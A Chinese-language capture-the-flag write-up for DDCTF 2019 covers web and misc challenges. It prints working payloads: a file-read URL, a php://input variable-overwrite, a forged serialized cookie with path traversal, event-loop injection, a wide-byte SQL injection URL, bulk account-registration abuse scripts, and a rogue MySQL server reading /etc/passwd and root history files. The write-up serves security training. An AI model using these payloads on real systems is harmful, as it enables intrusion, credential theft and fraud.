WEB

滴~

http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

观察链接可发现jpg的值是文件名转hex再base64编码两次得到,由此得到任意文件读取漏洞

读取index.php

http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

将源码中的base解码得到源码

备注是提示,访问该博客该日期的文章,得到提示 .practice.txt.swp,最后发现flag文件

结合index.php的逻辑

将f1agconfigddctf.php转为hex字符串,base64编码两次,然后

http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==

得到f1ag!ddctf.php的源码,典型变量覆盖

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
} ?>

http://117.51.150.246/f1ag!ddctf.php?k=php://input&uid=

WEB 签到题

抓包发现有个认证的接口,有个username未填值

尝试admin成功并给出了一个地址

访问发现是源代码

nickname处可注入%s带出eancrykey

得到eancrykey就可伪造Cookie,伪造成功即可造成反序列化漏洞

Application类可造成任意文件读取

这里可以双写绕过

这里判断了长度,猜测flag文件路径为../config/flag.txt

最后payload

<?php
Class Application {
var $path = '....//config/flag.txt';
}
$o=new Application();
$session=serialize($o);
echo urlencode($session.md5("EzblrbNS".$session));

Upload-IMG

上传的图片会经过二次渲染,插入的多余字符就会被删除,将其渲染过的图片用010editor打开会发现是GD

搜索找到相关方法和脚本

https://wiki.ioin.in/soft/detail/1q

初步尝试多次未成功,后将渲染后的图片下载后再次用该脚本处理,上传,成功绕过

homebrew event loop

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon' from flask import Flask, session, request, Response
import urllib app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f66177e857' def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event) def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack class RollBackException: pass def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp @app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop() # handlers/functions below -------------------------------------- def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True': source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />' for line in source:
if bool_download_source != 'True':
html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
else:
html += line
source.close() if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index') def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />' def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index') if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

首先发现此处action可控,可注入代码,其后多余部分可用#注释

利用该点可调用脚本内任意带参函数,比如调用show_flag_function

然后看到这里,虽然不会显示flag,但trigger_event中的内容会被记录到log中,log在session中,而flask 是本地session,读取本地session就行

最后思路就是,想办法让自己num_items大于5后调用get_flag_handler

注意到这里买东西和扣钱的处理是分开的,直觉肯定有问题。正常处理是先buy_handler,这时是不理会points直接增加num_items的,然后马上consume_point_function,这时才比较points,points不够的话就回滚session。如果这样就必须想办法先调用buy_handler,然后调用get_flag_handler,将consume_point_function排到后面才行

最后利用到trigger_event函数注入event构造出自己想要调用的顺序

最终paylaod

http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;5%23action:get_flag;

或者这样,只要不超过日志容量且num_items大于等于5就行

http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;3%23action:buy;3%23action:get_flag;

用p神脚本解密本地session

欢迎报名DDCTF

一开始报名处存在XSS

用xss平台读取到源码后发现一个接口

测出是宽字节注入后就常规操作查数据库,查表名,列名,最后得到flag。(一开始有看到gbk编码想到是宽字节,但随手测试一条payload发现不报错就没测了,后悔!,后面实在没辙了就继续测试才发现)

http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%20%da%27%20union%20select%201,2,3,4,flag%20%20from%20ctfdb%23

大吉大利,今晚吃鸡

一开始伪造价格,发现后端按范围是分别以32位和64位处理,因为64位最大整数+1报错,32位最大整数+1报错,然而其中间的某范围数不报错。经过测试发现提交32位最大整数*2+2到100的数就可买票,比如4294967296

然后写脚本注册小号,主号提交。两个脚本这样其实比较麻烦而且费时间,但我就是懒-.-,,没有整合两个脚本,最后是第一个脚本跑了足够多的id和Tiket之后,第二个脚本提交

注册小号得到id和ticket

import requests
import re
import time requests=requests.session() def register(username):
url='http://117.51.147.155:5050/ctf/api/register?name={}&password=123456789'.format(username)
res=requests.get(url)
return res.text def buy():
url='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
res=requests.get(url)
bill_id=re.search('"bill_id":"(.*)","ticket_price',res.text).group(1) url='http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={}'.format(bill_id)
res=requests.get(url)
return res.text def xx(username):
register(username)
return buy() f=open('acc10.txt','w')
for i in range(0,600):
res=xx("l3yx_101_00"+str(i))
time.sleep(3)
print res
f.writelines(res)
f.flush()

主号提交

import requests
import re
import time requests=requests.session() def login(name,password):
url='http://117.51.147.155:5050/ctf/api/login?name={}&password={}'.format(name,password)
res=requests.get(url)
return res.text def submit(id,ticket):
url='http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}'.format(id,ticket)
res=requests.get(url)
return res.text login('lei','')
f=open('acc8.txt','r')
for i in f.readlines():
id_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(1)
ticket_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(2)
time.sleep(2)
print submit(id_,ticket_)

mysql弱口令

网站功能是扫描服务器上mysql的弱口令,应该是会用弱口令来连接我的mysql服务端,想到之前见过伪造mysql服务端来攻击客户端的骚操作

https://lightless.me/archives/read-mysql-client-file.html

1.服务器启动mysql伪造脚本,由于我本机装有mysql,所以该伪造脚本端口设置在3307(网上公开脚本,非原创)

2.服务器启动agent.py

3.在网页填写ip和端口进行扫描

此时伪造服务端的脚本已成功读取/etc/passwd

继续读/root/.bash_history发现入口文件/home/dc2-user/ctf_web_2/app/main/views.py

从入口文件/home/dc2-user/ctf_web_2/app/main/views.py得到提示flag在数据库

尝试读取数据库文件/var/lib/mysql/security/flag.ibd无果,貌似是空的???

最后读取/root/.mysql_history发现flag

MISC

北京地铁

根据Color Threshold提示测试LSB隐写,找到一串密文

观察图片,发现有两个位置颜色不同

尝试用魏公村地名为密钥解密成功

MulTzor

github找到分析xor的工具

https://github.com/hellman/xortool

猜测是空格最多,所以-c后面是20。脚本得出key最大可能性长度是6,并给出了可能的key

但发现有部分乱码,而且是每6个字符,第一个字符错误,很容易知道是脚本得出的key长度没有问题,但第一个字符错了

观察下面有DCTF{,显而易见前面那个乱码是D,所以用这个位置的密文异或上D就能得到key第一位

异或得到key第一位

所以最后key是\x323\xffSY\x8b

WireShark

在HTTP包中找到3张图片,分别导出字节流

前两张相似但文件大小不同,第二张体积比较大

最后一个HTTP包还发现一个图片加密隐藏信息的网站

需要密码和加密后的图片

猜测第二张图片是第一张加密过后的,第三张钥匙形状的藏有密码

最后发现钥匙图片是高度隐写,修改高度后

解密

16进制到文本字符串

联盟决策大会

参考以下文章

https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing

https://blog.mythsman.com/2015/10/07/2/

根据题意猜测,组织1内部需要算出一段数据zh1,组织2内部算出zh2,然后zh1和zh2一起算出z,最后z和p算出最终秘密,需要注意的是就是顺序需要多次测试,而且脚本内的_PRIME需要设置为p

最终脚本

from __future__ import division
from __future__ import print_function
import random
import functools _PRIME = 0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
_RINT = functools.partial(random.SystemRandom().randint, 0) def _eval_at(poly, x, prime):
accum = 0
for coeff in reversed(poly):
accum *= x
accum += coeff
accum %= prime
return accum def make_random_shares(minimum, shares, prime=_PRIME):
if minimum > shares:
raise ValueError("pool secret would be irrecoverable")
poly = [_RINT(prime) for i in range(minimum)]
points = [(i, _eval_at(poly, i, prime))
for i in range(1, shares + 1)]
return poly[0], points def _extended_gcd(a, b):
x = 0
last_x = 1
y = 1
last_y = 0
while b != 0:
quot = a // b
a, b = b, a%b
x, last_x = last_x - quot * x, x
y, last_y = last_y - quot * y, y
return last_x, last_y def _divmod(num, den, p):
inv, _ = _extended_gcd(den, p)
return num * inv def _lagrange_interpolate(x, x_s, y_s, p):
k = len(x_s)
assert k == len(set(x_s)), "points must be distinct"
def PI(vals): # upper-case PI -- product of inputs
accum = 1
for v in vals:
accum *= v
return accum
nums = [] # avoid inexact division
dens = []
for i in range(k):
others = list(x_s)
cur = others.pop(i)
nums.append(PI(x - o for o in others))
dens.append(PI(cur - o for o in others))
den = PI(dens)
num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
for i in range(k)])
return (_divmod(num, den, p) + p) % p def recover_secret(shares, prime=_PRIME):
if len(shares) < 2:
raise ValueError("need at least two shares")
x_s, y_s = zip(*shares)
return _lagrange_interpolate(0, x_s, y_s, prime) p=0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
z1_1=0x60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964
z1_2=0x6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1
z1_4=0x74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7 z2_3=0x560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525
z2_4=0x445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62
z2_5=0x4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5 z1= recover_secret( [ (1,z1_1), (2,z1_2) , (4,z1_4) ] )
z2=recover_secret( [ (3,z2_3) , (4,z2_4) , (5,z2_5) ] )
z=recover_secret( [ (1,z1) , (2,z2) ] )
print( recover_secret( [ (1,p) , (0,z) ] ) )

DDCTF 2019 部分WP的更多相关文章

  1. 刷题记录:[DDCTF 2019]homebrew event loop

    目录 刷题记录:[DDCTF 2019]homebrew event loop 知识点 1.逻辑漏洞 2.flask session解密 总结 刷题记录:[DDCTF 2019]homebrew ev ...

  2. [GWCTF 2019]re3 wp

    [GWCTF 2019]re3 关键点:AES MD5 动态调试 smc自解密 gdb使用 跟进main函数 发现一个典型smc异或自解密 可以用idc脚本 或者python patch 或者动态调试 ...

  3. [DDCTF 2019]homebrew event loop

    0x00 知识点 逻辑漏洞: 异步处理导致可以先调用增加钻石,再调用计算价钱的.也就是先货后款. eval函数存在注入,可以通过#注释,我们可以传入路由action:eval#;arg1#arg2#a ...

  4. [极客大挑战 2019]Havefun wp

    很少见的很简单的一道题 查看源代码 获得一段被注释的代码 直接?cat=dog即可得flag

  5. 刷题记录:[SUCTF 2019]Pythonginx

    目录 刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置 二.解题方法 刷题记录 ...

  6. ddctf2019--web部分writeup

    0x00前言 上周五开始的DDCTF 2019,整个比赛有一周,题目整体来说感觉很不错,可惜我太菜了,做了4+1道题,还是要努力吧 0x01 web 滴~ 打开看着url,就像文件包含 文件名1次he ...

  7. Writeup:第五届上海市大学生网络安全大赛-Web

    目录 Writeup:第五届上海市大学生网络安全大赛-Web 一.Decade 无参数函数RCE(./..) 二.Easysql 三.Babyt5 二次编码绕过strpos Description: ...

  8. 2019强网杯babybank wp及浅析

    前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...

  9. 2019 DDCTF 部分writeup

    网上的wp已经很多了,但wp普遍很简略.我尽量写的详细一点. 一.WEB 滴~ 拿到题目后首先右键查看源代码,发现图片是以base64传送的 而且看url发现里面应该是包含了文件名,并且用了某个编码. ...

随机推荐

  1. Thinkphp 5.1.24 parseKey缺陷导致聚合注入 分析

    测试url: http://127.0.0.1/thinkphp/thinkphp_5.1.24/public/index.php/index/index/sqli2?id=2 控制器是获取id参数作 ...

  2. 网站报"组策略阻止了这个程序。要获取详细信息,请与系统管理员联系。"错误。

    今天将一个测试的网站发布到阿里云虚拟主机后,访问网站报“组策略阻止了这个程序.要获取详细信息,请与系统管理员联系.”错误.如下: 但是这个错误在本地调试时是没有的. 经过调查,原来罪魁祸首是 Micr ...

  3. WM消息大全,windows消息大全

    WM消息大全 消息名 消息值 说明 WM_CREATE 0x0001 应用程序创建一个窗口 WM_DESTROY 0x0002 一个窗口被销毁 WM_MOVE 0x0003 移动一个窗口 WM_SIZ ...

  4. Supply Initial Data提供初始数据 (EF)

    Open the Updater.cs (Updater.vb) file, located in the MySolution.Module project's Database Update fo ...

  5. RabbitMQ的第一次亲密接触

    企业应用系统,如果系统之间的通信.集成与整合,尤其当面临异构系统时,那么需要分布式的调用与通信.系统中一般会有很多对实时性要求不高但零零碎碎且耗时的地方,比如发送短信,邮件提醒,记录用户操作日志等,在 ...

  6. Cobalt Strike系列教程第五章:截图与浏览器代理

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  7. choose Perseverance :)

    心里话 很久都没有更新博客了,我会陆陆续续的把云笔记中的一些有意思的文章放在博客中. 这10个月以来经历了很多,9月份参加了省赛获得了一个二等奖,和一等奖失之交臂的滋味很难受,到10月份开始维护自己的 ...

  8. ALV字段设置更改后,展示不同步的问题

    案例: 一个需要用户交互的ALV,比如某字段设置为输入长度20,不区分大小写.用户要求输入长度改为50,且要求区分大小写. 处理方式: 如果本来ALV字段设置时,采用的是ref_table和ref_f ...

  9. QT--HTTP文件下载器

    QT--HTTP文件下载器 1.pro文件添加 QT       += core gui network 2.头文件 #include <QNetworkAccessManager> #i ...

  10. layUI学习第五日:layUI布局系列二

    6.列偏移 列偏移可针对不同屏幕的标准进行设定,只会在桌面屏幕下有效,当低于桌面屏幕的规定的临界值,就会堆叠排列. <div class="layui-col-md4 layui-co ...